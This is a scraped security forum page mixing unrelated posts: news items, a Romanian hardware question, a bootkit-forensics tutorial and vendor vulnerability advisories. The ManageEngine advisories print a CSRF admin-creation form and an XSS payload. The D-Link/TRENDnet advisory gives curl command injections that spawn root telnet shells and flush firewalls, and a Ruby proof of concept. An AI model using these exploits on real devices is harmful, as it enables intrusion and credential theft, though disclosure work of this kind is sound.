Search the Community

If you are well-informed about the basics of online security and anonymity, then you would be aware of the importance of IP address. If the person hunting you gets to know your IP address, it means you are done. But, Ben Caudill has made a device that will put your final IP address 2.5 miles away. At the next month’s Def Con hacker conference on Las Vegas, security researcher Ben Caudill will reveal an extraordinary device called ProxyHam. The promises being made by the researcher would definitely delight the people looking for privacy and anonymity. This device operates using the long-distance WiFi and 900 MHz radio connection. In the ideal conditions, ProxyHam can transmit WiFi up to a distance of 2.5 miles. So let’s suppose you are being watched by authorities and they end up cracking your system’s IP address. Now what would they do? They would come on the scene only to find a ProxyHam device transmitting WiFi signal. According to Caudill, technologies like Tor and its alternatives could provide anonymity but the flaws still exists i.e. a direct connection between your IP address and physical location. So, if your IP address is discovered, everything is over for you. This is where ProxyHam comes into play. It acts a “hardware proxy” that routes local traffic through a distant WiFi network. Thus, detecting the true traffic source becomes more difficult. At Def Con, the device will be demonstrated and the full code along with hardware specifications will be made freely available. This comprises of a WiFi enabled Raspberry Pi computer with three antennas. One is used to connect to a source WiFi network (some public WiFi) and the other two are used to transmit the signal at 900 MHz frequency. The users would have to plug a 900 MHz antenna to their computer to pick up the signal. Caudill tells Motherboard: “We consider this the last or worst case scenario, the absolute fallback plan if everything else fails.” Sursa

Salut .. Am cumparat azi un adaptor wifi smcwusb-g la mana a 2-a . Acum 2 saptamani mi s-a ars placa de retea si am zis sa imi cumpar un adaptor .. am cumparat adaptorul , l-am testat pe laptop-ul meu apoi am zis s-al bag pe pc ( cel care mi s-a ars placa de retea) numai ca atunci cand il bag imi zice Unknown device si nu il vede de nicio culoare .. La mine pe laptop il vedea in device la controale ... la asta il vede la universal seroa? bus ca Unknown device .. ce sa fac?

Apple iOS 9 users will be required to use six-digit passwords instead of four-digit codes when logging in to a device. The tech giant also announced it would be using two-factor authentication for users signing into Apple services from a new device or browser. The updates will apply to all Apple devices enabled with TouchID. With the new authentication process, users will receive a verification code sent to their device after submitting their password. They will then have to enter the code in the new device or browser in order to gain access to apps and services. Apple unveiled the new features on Monday at its 2015 World Wide Developers Conference in San Francisco. The company also introduced new features including: Apple Music, Apple Car Play, Wallet and a public transit option in Apple Maps, available later this year. Source

Cisco's turned up vulnerabilities in automation software that open the door to denial-of-service and limited access to devices. The company's Autonomic Network Infrastructure (ANI) feature in IOS provides self-management for various IPv6-supporting routers and Ethernet switches. One of the ANI features is to remove the need for pre-staging in network bootstrap, allowing devices join a network on start, so they can be configured over the network rather than through a local port. The three vulnerabilities exploit this in various ways: Registration authority spoofing (CVE-2015-0635) – insufficient validation of the Autonomic Networking (AN) response message allows an attacker to spoof the message, either bootstrapping a device into an untrusted domain (with limited control over it), DoS-ing the device, and disrupting the victim's domain; DoS using spoofed messages (CVE-2015-0636) – In IOS and IOS XE software, a spoofed “overloaded AN” message resets the state machine; Device reload (CVE-2015-0637) – received AN messages are insufficiently validated, allowing an attacker to trigger system reloads using crafted messages. Devices running Cisco IOS and IOS XE, with ANI enabled, are vulnerable. Cisco has released patches for the vulnerable systems listed in its advisory, here. Source

=============================================================================== CSRF to add admin user Vulnerability In Manage Engine Device Expert =============================================================================== . contents:: Table Of Content Overview ======== * Title : CSRF to add admin user Vulnerability In Manage Engine Device Expert * Author: Kaustubh G. Padwad * Plugin Homepage: http://www.manageengine.com/products/device-expert/ * Severity: HIGH * Version Affected: Version 5.9.9.0 Build: 5990 * Version Tested : Version 5.9.9.0 Build: 5990 * version patched: Separate Patch release for all version Description =========== About the Product ================= DeviceExpert is a web–based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, DeviceExpert helps automate and take total control of the entire life cycle of device configuration management. Vulnerable Parameter -------------------- Create user form About Vulnerability ------------------- This Cross-Site Request Forgery vulnerability enables an anonymous attacker to add an admin account into the application. This leads to compromising the whole domain as the application normally uses privileged domain account to perform administration tasks. Vulnerability Class =================== Cross Site Request Forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29) Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS) Steps to Reproduce: (POC) ========================= * Add follwing code to webserver and send that malicious link to application Admin. * The admin should be loggedin when he clicks on the link. * Soical enginering might help here For Example :- Device password has been changed click here to reset ####################CSRF COde####################### <html> <body> <form action="https://Server-IP:6060/STATE_ID/1423516534014/CreateUser.ve" method="POST"> <input type="hidden" name="loginName" value="hackerkaustubh" /> <input type="hidden" name="password" value="kaustubh" /> <input type="hidden" name="confirmpass" value="kaustubh" /> <input type="hidden" name="emailaddress" value="kingkaustubh@me.com" /> <input type="hidden" name="SEND_EMAIL" value="true" /> <input type="hidden" name="roles" value="Administrator" /> <input type="hidden" name="ComponentSelection" value="SpecificDevice" /> <input type="hidden" name="searchfield" value="--Search Devices--" /> <input type="hidden" name="DEVICEGROUPSELECTION" value="1" /> <input type="hidden" name="DeviceGroupDescription"/> value="This device group contains all the devices present in the inventory" /> <input type="hidden" name="QUERYID" value="-1" /> <input type="submit" value="Submit request" /> </form> </body> </html> Mitigation ========== Receved from manage engine team https://uploads.zohocorp.com/Internal_Useruploads/dnd/NetFlow_Analyzer/o_19ga51p951gblpbs1rkrm211vim1/vulnerabilities_Fix.zip Open DeviceExper.zip 1. Stop the Device Expert service. 2. Please replace AdvNCM.jar under DeviceExpert_Home/lib with the one under DeviceExpert.zip/AdvNCM.jar 3. Start the Device Expert service Change Log ========== Disclosure ========== 11-February-2015 Reported to Developer 13-February-2015 Acknodlagement from Developer 13-March-2015 Fixed by developer 16-March-2015 Requested a cve ID 21-March-2015 Public Disclosed credits ======= * Kaustubh Padwad * Information Security Researcher * kingkaustubh@me.com * https://twitter.com/s3curityb3ast * http://breakthesec.com * https://www.linkedin.com/in/kaustubhpadwad Source

=============================================================================== Stored XSS Vulnerability In Manage Engine Device Expert =============================================================================== . contents:: Table Of Content Overview ======== * Title :Stored XSS Vulnerability In Manage Engine Device Expert * Author: Kaustubh G. Padwad * Plugin Homepage: http://www.manageengine.com/products/device-expert/ * Severity: HIGH * Version Affected: Version 5.9.9.0 Build: 5990 * Version Tested : Version 5.9.9.0 Build: 5990 * version patched: Separate Patch release for all version Description =========== About the Product ================= DeviceExpert is a web–based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, DeviceExpert helps automate and take total control of the entire life cycle of device configuration management. Vulnerable Parameter -------------------- * Login Name About Vulnerability ------------------- This Product is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can execute arbitrary code into Admin manage console. Once exploited, admin’s browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc. Vulnerability Class =================== Cross Site Request Forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29) Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS) Steps to Reproduce: (POC) ========================= 1. After Setting up Manage engine Login to manage engine Device expert 2. Navigate to admin-->User Management-->New User 3.Put this Payload into Login Name 4.Fill the other details #####payload To Use####################### <BODY ONLOAD=alert('Hacked_ByS3curity_B3ast')> ########################################## 5. Click Save to See Stored XSS in action 6. Reload Pages to see it many times you want 7. Same can be done By CSRF also . image:: stoerdXSS.jpeg :height: 1000 px :width: 1000 px :scale: 100 % :alt: XSS POC :align: center Mitigation ========== Receved from manage engine team https://uploads.zohocorp.com/Internal_Useruploads/dnd/NetFlow_Analyzer/o_19ga51p951gblpbs1rkrm211vim1/vulnerabilities_Fix.zip Open DeviceExper.zip 1. Stop the Device Expert service. 2. Please replace AdvNCM.jar under DeviceExpert_Home/lib with the one under DeviceExpert.zip/AdvNCM.jar 3. Start the Device Expert service Change Log ========== Disclosure ========== 11-February-2015 Reported to Developer 13-February-2015 Acknodlagement from Developer 13-March-2015 Fixed by developer 16-March-2015 Requested a cve ID 21-March-2015 Public Disclosed credits ======= * Kaustubh Padwad * Information Security Researcher * kingkaustubh@me.com * https://twitter.com/s3curityb3ast * http://breakthesec.com * https://www.linkedin.com/in/kaustubhpadwad Source

XP is a little more complicated than newer systems due to the use of a single driver for both port and miniport; however, getting the original pointers is fairly straight forward depending on how you do it. IRP_MJ_SCSI & DriverStartIo - Method 1 (Windows XP) A common method is to programmatically disassemble the miniport's DriverEntry, looking for the code which initializes the driver's object, then you can extract and calculate the addresses from "mov [esi+30h], offset" and "mov [esi+74h], offset" for DriverStartIo and IRP_MJ_SCSI respectively. The obvious problem with this method is the initialization code may not be in DriverEntry, but a sub function called from it (it may even be necessary to follow jumps). It's also not guaranteed that the instruction will use esi as the pointer to the driver object or an immediate for the function address, in fact you're probably going to have to account for quite a few different instructions. IRP_MJ_SCSI & DriverStartIo - Method 2 (Windows XP) In my tests, it was possible to simply call the DriverEntry of the miniport driver with the parameters from your own driver entry, thus having the miniport set up your driver's object as if it were its own. The only issue with this method is if the driver uses GsDriverEntry (it usually does), the entry point will be invalidated after the driver is initialized, so you cannot call it. To deal with GsDriverEntry you'd first need to load the original image from disk, then search until you reach an unconditional relative jump (this is the offset to real entry point and you can use it to calculate the same address within the loaded driver). IRP_MJ_SCSI (Windows Vista+) On newer systems, things are wonderfully easier: There's no DriverStartIo field and you can initialize all the major functions in your DriverObject with a call to AtaPortInitialize, ScsiPortInitialize, or StorPortInitialize which are all exported from the relevant port drivers (ataport.sys, scsiport.sys, or storport.sys). Bypassing Inline Hooks Although not many bootkits actually perform inline hooking on miniports, it's worth taking care of. You'll need to read a the original miniport or port driver's file into memory, then do a bit of pointer math to calculate the addresses of IRP_MJ_SCSI or DriverStartIo within the clean image. I'm not too sure of the best way to call the clean functions, but here are 2 viable methods to chose from. Trampoline Usually a hook is placed within the first few bytes of a function, so you can simply read and relocate the first few bytes from the clean function into a buffer, then append it with a jump to the same offset within the real driver(this is the same way a hooking engine would call the unhooked version of a function). Manual Mapping A more difficult but effective method is to manually map a clean copy of the driver into memory, then relocate it so that all absolute instructions will reference the real driver, meaning you don't have to worry about initializing any global variables or such. Creating a Clean Call Path Due to the fact a lot of bootkits run persistence threads for replacing any driver object hooks which get removed, you don't want to unhook the real driver but instead create a parallel one, so you can maintain your own hook-free call path. Step 1 (XP & Vista) Get the device object for the boot disk miniport, this is usually \Device\Harddisk0\Dr0 Use the size field of the device object to allocate some non paged memory and copy the entire object (this is your clean miniport). Set the DriverObject field to point to your own driver's object, in which you've set the IRP_MJ_SCSI and DriverStartIo field appropriately (DriverStartIo can be skipped on Vista+). Step 2 (XP Only) Set the DeviceExtension field of your clean miniport device object to point to directly after its device object (DeviceObject + sizeof(DEVICE_OBJECT)). Get the address stored at offset 0x5C into your clean miniport's device extension and check it's valid (this is the address of the corresponding port's device extension). Read the addresses stored at offset 0x0C into the port's device extension (this is the address of the port's device object). Use the size field of the port's device object to allocate some non paged memory and copy the entire object (this is your clean port). Set the DeviceExtension field of your clean port's device object to point to directly after its device object (DeviceObject + sizeof(DEVICE_OBJECT)). Set the DriverObject field of your clean port's device object to point to your own driver's object, in which you've set the IRP_MJ_SCSI field appropriately. Change offset 0x5C into your clean miniport's device extension to contain the address of the clean port's device extension. Set offset 0x0C into the clean port's device extension to contain the address of the clean port's device object. Using the Clean Path You're going to need to build a raw SCSI request which is pretty complicated; however, the Chinese are already a step ahead, so you can look to this example for help (This request can be issued by passing the clean miniport device object and the IRP to IofCallDriver). It's important to note that miniport drivers are PnP, so if you don't create any devices (IoCreateDevice): the driver will be unloaded as soon as DriverEntry returns, if you do: the driver can't be unloaded at all. Although it's not recommended, you can set the driver back to a legacy driver by setting the AddDevice pointer within the driver's extension to 0, allowing the driver to be unloaded normally. Conclusion This concludes my 3 part series, any feedback in the comments would be greatly appreciated and will be taken into consideration when I create a whitepaper version of the series in a few weeks. Other resources of note Debugging TDL4 Subverting Bootkits using the Crash Dump Driver Stack Exposing Bootkits With BIOS Emulation Source

Product Description Multimedia for Android – just simple! Enables you to create video clips, audio and photo files for your Android-based smartphone. Supports also video clips from YouTube & Co. Is compatible to any current Android-based device. Regular updates of new devices are included! Your music, videos and photos on Android? Not a problem anymore. You cannot listen to your music; watch your videos or photos on your smartphone? That happens because your smartphone can only play particular formats. Android Converter solves this problem and converts your music, videos and photos into the proper format. The generated files can be played on any devices with Android operating system. Thus, you always have your favourite videos, music and photos ready to hand. Converts all of your music files! With Android Converter you can convert music files from your hard disk or audio CDs into the formats AAC and MP3. These output formats guarantee a good audio quality with small or medium file size and are therefore particularly well suited for your Android device. The best part of Android Converter, however, is the possibility to extract the audio track from videos, save them as music files and convert them. Android Converter can even convert audio files with effective copy protection without problems. To this, the software records the soundtrack during the replay analogously. Makes your videos fit for Android, too! You also want to play videos on your Android device? With Android Converter this is not a problem! The software supports the conversion of single video files of any common format, e.g. AVI, DivX, Xvud, Nero Digital, WMV and internet flashvideos (flv). However, it can also handle Blu-rays or video-DVDs and convert complete DVD films or single DVD chapters. It does not matter, how long the film is. To facilitate the choice of the appropriate output format, you get a list with various output devices. You want to save your photo on Android? No problem! Conversion of music and videos is still not enough for you? Android Converter also takes care of your photos! The software converts photos to JPG, PNG and BMP and makes them fit for your Android device. The formats JPG and PNG compress your photos, so that they only take little storage capacity on your device. With BMP you can prepare your photos for long term storage without any loss in quality. Of course Android Converter offers more! The software also optimizes your photos automatically for display on your Android device. Please consider: Due to legal reasons, Android Converter is not able to convert DVD-videos or other videos with effective copy protection. Audio, video and photo files created by Android Converter, cannot only be played on Android devices, but also on a few DVD-players, streaming-clients and media center (please consult the documentation of your device). If you want to play videos on your Android device, you have to download a respective player from the Android marketplace. -> Download <-Deal Expire in: EXPIRED!

Part 1 .: https://rstforums.com/forum/98013-bootkit-disk-forensics-1-a.rst As I explained in the previous article: DriverStartIo is used by older miniports to actually perform the disk I/O, it takes 2 parameters (a device object and an IRP), exactly the same as IoCallDriver does. The call to DriverStartIo is done with IoStartPacket; however, the device object passed is not that of the miniport, but instead a device associated with the port the target disk is connected to (in my case IdePort1). IRP_MJ_SCSI points to IdePortDispatch in atapi.sys, by disassembling it we can see exactly how the required device object is retrieved from the DeviceExtension field of the miniport's device object. The call logic is something like this: Get the miniport's device extension from its device object (passed to us in the call). Get IdePort1's device extension from offset 0x5C into the miniport's device extension. Get IdePort1's device object from offset 0x0C into its device extension. Call IoStartPacket with the IRP and IdePort1's device object. As both the miniport and IdePort devices are created by atapi.sys, the DriverObject field of both devices' objects point to the same driver object; thus, hooking DriverStartIo is as simple as replacing the address in the driver's object. Detecting DriverStartIo hook with WinDbg For basic DriverStartIo hook detection we can simply follow the same process as for major function hooks: First, we find the boot disk and list it's stack. As I explained in the previous article, modifications made by TDL4 will cause the !drvobj and !devobj commands to think the object is invalid, it's not. You will probably want to check each driver object in the stack (for the invalid DeviceObject you can again use "dt _DEVICE_OBJECT <address>" to find the DriverObject field). With most bootkits, the lowest level driver is always the one hooked, so I'll use this in my example. You can see here that DriverStartIo isn't hooked because the address resolve to its proper symbol; however, this isn't actually the real driver object. Earlier i explained that IoStartPacket is always called with the device object of IdePort1, not the disk miniport: This means that when IoStartPacket called DriverStartIo internally, it does so by getting the driver object from the DriverObject field of IdePort1's device object, then getting the DriverStartIo field from that. Obviously this means that to hook DriverStartIo, one could simply just create a copy of atapi's driver object, with the DriverStartIo field modified, then set the DriverObject field of IdePort1's device object to point to the new, malicious driver object (this way on IdePort1 will point to the hooked driver, the rest will point to the original). As it happens TDL4 actually does the opposite, it hooks the real atapi driver object, then replaces the DriverObject field of the disk miniport's device object with the address of an identical driver object, without the DriverStartIo field modified.). If you know what you're looking for, fake driver objects are easy to detect. All devices created by a driver should point the same driver object, so simply enumerating the devices created by the miniport's driver then making sure all the DriverObject fields point to the same address is all that's needed. This can be done a multitude of ways. Method 1: DrvObj The fake driver object will have the same name as the real one (in my case "\driver\atapi"), all you need to do is type "!drvobj \driver\atapi 2" to get the real driver's object (this is a downside of TDL4 hooking the real driver object instead of a spoofed one). Method 2: NextDevice Starting with the miniport device, enumerate devices using "dt _DEVICE_OBJECT <address>" and the NextDevice field of each device's object. We're looking for any DriverObject field that dosen't match that of the miniport (this is the real driver object). Method 3: DeviceExtension This is the least reliable way, as the device extension could change from system to system, but as I mentioned earlier: you can find IdePort1's device extension at offset 0x5C isn't the miniport's device extension, then from IdePort1's device extension you can find its device object at offset 0x0C (IdePort1's device object will point to the real driver object). We can actually find the DeviceObject in a single commands using this overly complicated WinDbg-C++ syntax: "dt _DEVICE_OBJECT poi(poi(@@C++(((nt!_DEVICE_OBJECT *)<address>)->DeviceExtension)+0x5C)+0x0C)", where "<address>" is the miniport device object. Source

>> D-Link and TRENDnet 'ncc2' service - multiple vulnerabilities Discovered by: ---- Peter Adkins <peter.adkins@kernelpicnic.net> Access: ---- Local network; unauthenticated access. Remote network; unauthenticated access*. Remote network; 'drive-by' via CSRF. Tracking and identifiers: ---- CVE - Mitre contacted; not yet allocated. Platforms / Firmware confirmed affected: ---- D-Link DIR-820L (Rev A) - v1.02B10 D-Link DIR-820L (Rev A) - v1.05B03 D-Link DIR-820L (Rev - v2.01b02 TRENDnet TEW-731BR (Rev 2) - v2.01b01 Additional platforms believed to be affected: ---- D-Link DIR-808L (Rev A) - v1.03b05 D-Link DIR-810L (Rev A) - v1.01b04 D-Link DIR-810L (Rev - v2.02b01 D-Link DIR-826L (Rev A) - v1.00b23 D-Link DIR-830L (Rev A) - v1.00b07 D-Link DIR-836L (Rev A) - v1.01b03 Vendor involvement: ---- 2015-01-11 - Issues reported to D-Link via email (security contact). 2015-01-11 - Issues reported to TRENDnet via support ticket. 2015-01-12 - Initial response from TRENDnet. 2015-01-14 - Initial response from D-Link (security contact). 2015-01-19 - Email to Mitre. 2015-01-19 - TRENDnet request a few days to validate vulnerabilities. 2015-01-26 - TRENDnet confirm vulnerabilities and commit to Feb 10 fix. 2015-02-01 - Initial response from Mitre. 2015-02-04 - Requested an update from D-Link (security contact). 2015-02-10 - TRENDnet release 2.02b01 resolving vulnerabilities. 2015-02-10 - Emailed Mitre requesting follow up. 2015-02-10 - Emailed D-Link requesting follow up (security contact). 2015-02-18 - Emailed D-Link requesting follow up (security contact). 2015-02-21 - Contacted D-Link support as I had not still not heard back. 2015-02-22 - D-Link support were unsure as to my query. 2015-02-22 - Replied to D-Link support clarifying my request. 2015-02-23 - D-Link support directed me to the security reporting guide. 2015-02-26 - Vulnerability published to Bugtraq and GitHub. Mitigation: ---- * Ensure remote / WAN management is disabled on the affected devices. * Only allow trusted devices access to the local network. * If using a listed TRENDnet device, install the patched firmware issued by the vendor. * If using a listed D-Link device, you'll need to use a third party tool such as µBlock (Chrome, Firefox and Safari) to blacklist requests to your router. This isn't ideal, but it's better than the alternative. Notes: ---- * Due to the nature of the the 'ping.ccp' vulnerability, an attacker can gain root access, hijack DNS settings or execute arbitrary commands on these devices with the user simply visiting a web page with a malicious HTTP form embedded (via CSRF). * Due to the location of this issue (ncc / ncc2) these vulnerabilities may be present in other devices and firmware versions not listed in this document. * D-Link initially responded on their security contact within a week. However, after I had provided write ups of these vulnerabilities it went quiet. In over a month I have been unable to get any sort of response from D-Link, including as to whether they have managed to replicate these issues or when there will be a fix. I contacted D-Link support as a last ditch effort to reestablish contact, however I was linked back to the same security reporting process I had followed initially. * Remote execution of these exploits is possible, but requires the device to already have remote / WAN management enabled; except in the case of 'ping.ccp', as above. * If you have a D-Link device that is believed to be affected and can confirm whether the PoC is successful, please let me know and I will update the copy of this document on GitHub (see below) and provide credit for your findings. * A copy of this document, as well as the proof of concept below and a more detailed write-up has been made available via GitHub: * https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2 ---- fwupgrade.ccp ---- The ncc / ncc2 service on the affected devices allows for basic firmware and language file upgrades via the web interface. During the operation, a HTTP POST is submitted to a resource named 'fwupgrade.ccp'. The request appears to be executed by the ncc / ncc2 service on the device, which runs as the root user. Unfortunately, the filtering on this resource does not appear to be effective, as: file / MIME type filtering is not being performed; and the 'on-failure' redirection to the login page is being performed AFTER a file has already been written the the filesystem in full. As a result of the above, this resource can be used to upload files to the filesystem of devices running vulnerable versions of ncc / ncc2 without authentication. This is also possible over the internet if WAN / remote management has been previously enabled on the device. To compound the issue, at least in the case of the listed devices, files are written to a ramfs filesystem which is mounted at '/var/tmp'. This becomes an issue as this directory is also used to store volatile system configuration files - as the root filesystem is mounted read-only. The files under '/var/tmp' include 'resolv.conf', allowing for an attacker to hijack a user's DNS configuration: # Overwrite the DNS resolver with Google DNS echo 'nameserver 8.8.8.8' > resolv.conf curl \ -i http://192.168.0.1/fwupgrade.ccp \ -F action=fwupgrade \ -F filename=resolv.conf \ -F file=@resolv.conf ---- ping.ccp ---- The ncc / ncc2 service on the affected devices allow for basic 'ping' diagnostics to be performed via the 'ping.ccp' resource. Unfortunately, it appears that strings passed to this call are not correctly sanitized. Much in the same manner as above, the request appears to be executed by the ncc / ncc2 service on the device, which is run as the root user. The handler for 'ping_v4' does not appear to be vulnerable as this resource maps the components of a IPv4 address, represented by a dotted quad, into a format of '%u.%u.%u.%u' at execution time. However, 'ping_ipv6' references the user provided input directly as a string ('%s'), which is then passed to a system() call. This formatting allows for an attacker to pass arbitrary commands to the device through a HTTP request. As this resource is also able to be accessed without authentication, it provides a vector for an attacker to execute arbitrary commands on the device - including, but not limited to, DNS hijacking and WAN firewall disablement - via CSRF. # Spawn a root shell (telnet) curl \ -i http://192.168.0.1/ping.ccp \ --data 'ccp_act=ping_v6&ping_addr=$(telnetd -l /bin/sh)' # Flush the iptables INPUT chain and set the default policy to ACCEPT. curl \ -i http://192.168.0.1/ping.ccp \ --data 'ccp_act=ping_v6&ping_addr=$(iptables -P INPUT ACCEPT)' curl \ -i http://192.168.0.1/ping.ccp \ --data 'ccp_act=ping_v6&ping_addr=$(iptables -F INPUT)' ---- UDPServer / MP Daemon ---- Note: This vulnerability does not seem to be present in firmware versions before 1.05B03 on the DIR-820LA1. This may differ on other platforms. The ncc / ncc2 service on the affected devices appears to have been shipped with a number of diagnostic hooks available. Unfortunately, much in the same manner as the vulnerabilities discussed above, these hooks are able to be called without authentication. These hooks are also callable via CSRF; although a moot point given that the 'ping.ccp' vulnerability discussed above already yields a higher level of access to the device via the same manner. One of the more 'interesting' hooks exposed by these devices allow for a 'UDPServer' process to be spawned on the device when called. When started this process listens on the devices LAN IP for data on UDP 9034. Unfortunately, this process does not appear to perform any sort of input sanitization before passing user input to a system() call. Further investigation finds that the source for this service (UDPServer) is available in the RealTek SDK, and appears to be a diagnostic tool. As a result of the above, this process is vulnerable to arbitrary command injection. # Spawn a root shell (telnet) curl -i 192.168.0.1/test_mode.txt echo "\`telnetd -l /bin/sh\`" > /dev/udp/192.168.0.1/9034 ---- Diagnostic hooks ---- Further to the 'test_mode' hook discussed above, the ncc / ncc2 service on the affected devices appear to have been shipped with a number of other diagnostic hooks enabled by default: * tftpd_ready.txt * chklst.txt * wps_default_pin.txt * usb_connect.txt * wps_btn.txt * reset_btn.txt * reboot_btn.txt * calibration_ready24G.txt * calibration_ready5G.txt * restore_default_finish.txt * set_mac_finish.txt * test_mode.txt * wifist.txt These resources do not exist on the filesystem of the device, nor do they appear to be static. Instead, these files appear to be rendered when queried and can be used to both interrogate the given device for information, as well as enable diagnostic services on demand. Unfortunately, these hooks are able to be queried without any form of authentication, and are accessible by attackers on the local network, and over the internet via WAN management (if enabled), and CSRF. A brief descriptions for each of these hooks is provided below. Those not listed provide either unknown functionality, or binary values which appear to represent system GPIO states (*_btn.txt). - tftp_ready.txt When queried, this resource spawns a tftp daemon which has a root directory of '/'. As TFTP requires no authentication, this service can be used to extract credentials from the device or even download files from an external storage device connected via USB. Unfortunately, due to the way this data is stored on the system, all credentials appear to be available in plain-text. These credentials can include (depending on the vendor and device configuration): * GUI / Device management credentials * Samba credentials * PPPoE credentials * Email credentials * 'MyDlink' credentials (on D-Link devices) - chklst.txt When queried, this resource will return the following information: * Current WLAN SSIDs * Current WLAN channels * LAN and WAN MAC addressing * Current Firmware version information * Hardware version information * Language information - wps_default_pin.txt When queried, this resource will return the default / factory WPS pin for the device. - usb_connect.txt When queried, this resource will return a binary value which indicates whether an external device is connected to the USB port on the device - or null in the case of devices that do not have an exposed USB port. This resource could potentially by used by an attacker to enumerate devices with USB storage attached. ---- Ruby PoC ---- # NCC2 PoC. require 'pp' require 'optparse' require 'restclient' # Set defaults and parse command line arguments options = {} options[:addr] = "192.168.0.1" options[:port] = 80 OptionParser.new do |option| option.on("--address [ADDRESS]", "Destination hostname or IP") do |a| options[:addr] = a end option.on("--port [PORT]", "Destination TCP port") do |p| options[:port] = p end option.parse! end # Define which SOAPActions we will be using. actions = [ { :name => "Get device information", :call => "sloppy_parser", :path => "chklst.txt", }, { :name => "Has USB device connected", :call => "txt_parser", :path => "usb_connect.txt", }, { :name => "Get WPS default pin", :call => "txt_parser", :path => "wps_default_pin.txt", }, { :name => "Enable UDPServer", :call => "noop", :path => "test_mode.txt", }, { :name => "Enable TFTP service", :call => "noop", :path => "tftpd_ready.txt", }, { :name => "Enable telnet (root)", :call => "noop", :path => "ping.ccp", :post => { "ccp_act" => "ping_v6", "ping_addr" => "$(telnetd -l /bin/sh)" } } ] def noop(val) return end def sloppy_parser(slop) slop.split(/\<br \/\>/).each do |l| puts " #{l}" end end def txt_parser(txt) l = txt.gsub(/\=/, ': ') puts " #{l}" end # Iterate over all actions and attempt to execute. url = "http://#{options[:addr]}:#{options[:port]}" puts "[!] Attempting to extract information from #{url}" actions.each do |action| # Build the target URL and setup the HTTP client object. request = RestClient::Resource.new("#{url}/#{action[:path]}") # Fire the request and ensure a 200 OKAY. begin if action[:post] response = request.post(action[:post]) else response = request.get() end rescue puts "[!] Failed to query remote host." abort end if response.code != 200 puts "[-] '#{action[:name]}' failed with response: #{response.code}" next end # Send to the processor. puts "[*] #{action[:name]} request succeeded." send(action[:call], response.body()) end Source

Security researchers have unearthed a new Android Trojan that tricks victims into believing they have switched their device off while it continues "spying" on the users' activities in the background. So, next time be very sure while you turn off your Android smartphones. The new Android malware threat, dubbed PowerOffHijack, has been spotted and analyzed by the researchers at the security firm AVG. PowerOffHijack because the nasty malware has a very unique feature - it hijacks the shutdown process of user’s mobile phone. MALWARE WORKS AFTER SWITCHING OFF MOBILES When users presses the power button on their device, a fake dialog box is shown. The malware mimics the shutdown animation and the device appears to be off, but actually remains on, giving the malicious program freedom to move around on the device and steal data. /HOW DOES POWEROFFHIJACK MALWARE WORKS ? Once installed, the malware asks for root-level permissions and tampers with the 'system_server' file of the operating system to affect the shutdown process. The malware particularly hijacks the mWindowManagerFuncs interface, so that it can display a fake shutdown dialog box and animation every time the victim presses the power button. The nasty malware is apparently being propagated via third-party online app stores, but the researchers haven't mentioned the names of the the innocent-looking apps, also they haven’t explained how the malware gains the root access of the device. The code shown by AVG appears to contact Chinese services. USERS AND ANDROID VERSIONS INFECTED According to the company, PowerOffHijack malware infects devices running Android versions below 5.0 (Lollipop) and requires root access to perform the tasks. So far, PowerOffHijack malware has already infected more than 10,000 devices, mostly in China where the malware was first introduced and offered through the local, official app stores. PowerOffHijack malware has ability to silently send lots of premium-rate text messages, make calls to expensive overseas numbers, take photos and perform many other tasks even if the phone is supposedly switched off. EASY STEPS TO GET RID OF POWEROFFHIJACK In order to get rid of PowerOffHijack malware, users are advised to take some simple steps: To restart infected device manually just take out the battery. Remove malicious, untrusted and useless apps from your Android device. Do not install apps from 3rd Party app stores. Make sure you have a good anti-virus installed and updated on your mobile devices. AVG antivirus product can detect PowerOffHijack malware. Source

CANCUN–When (or if) people think about the security of the devices they interact with and use on a daily basis, the machines that run their local car wash probably aren’t high up on that list. But, like everything else with a computer for a brain these days, those machines are connected to the Internet. And Billy Rios can hack them. Rios has spent years pulling apart the innards of all kinds of automation equipment, mostly in the ICS and SCADA realms. But now that TVs, parking meters, dishwashers and everything else under the sun comes with an embedded Web server and other potential targets, he has begun having a look at what surprises those devices hold, as well. Looking in one of the more obscure corners of the web, he discovered automated car wash equipment online. The device he researched has a considerable attack surface. The device was running a version of Windows CE on an ARM processor and after a bit of poking around, Rios found that it also had Telnet enabled and a default five-character password and default username. “If you know that default username and default password you can do a lot of interesting things,” Rios said in a talk at the Kaspersky Lab Security Analyst Summit here Tuesday. “You car wash can send you emails and yes, your car wash is on Facebook, too.” The car wash device controls the mechanisms that wash the top and bottom of a car and by sending special POST requests to the device, an attacker could cause some mischief, such as changing the kind of wash a car is getting. But more seriously, if an attacker was able to access the device, he also could disable the safety sensors on the back and front doors of the wash bay, which prevent them from coming down on a person or vehicle. The problem isn’t limited to one manufacturer or one industry or one kind of device. Lack of security in Internet-enabled devices is spread across the board. “Remote access changes your threat model. But to be honest, I don’t think we can trust the makers,” Rios said, referring to manufacturers of all sorts of gear with embedded computers and remote access capabilities. “The people who made that car wash won’t understand any of things we just talked about, like SQL injection or buffer overflows. We’re going to see this in other IoT places as well.” Security researchers have been turning their attention to the growing crop of non-PC devices that contain computers, WiFi, Bluetooth and other capabilities, and what they’re finding in terms of security controls is typically pretty bad. Many of companies rushing to Internet-enable everything they make aren’t spending a lot of time thinking about the security implications of what they’re doing, but the attackers are. “It’s asymmetric. The knowledge in attacking these things is very high and it’s very low in defending,” Rios said. Source

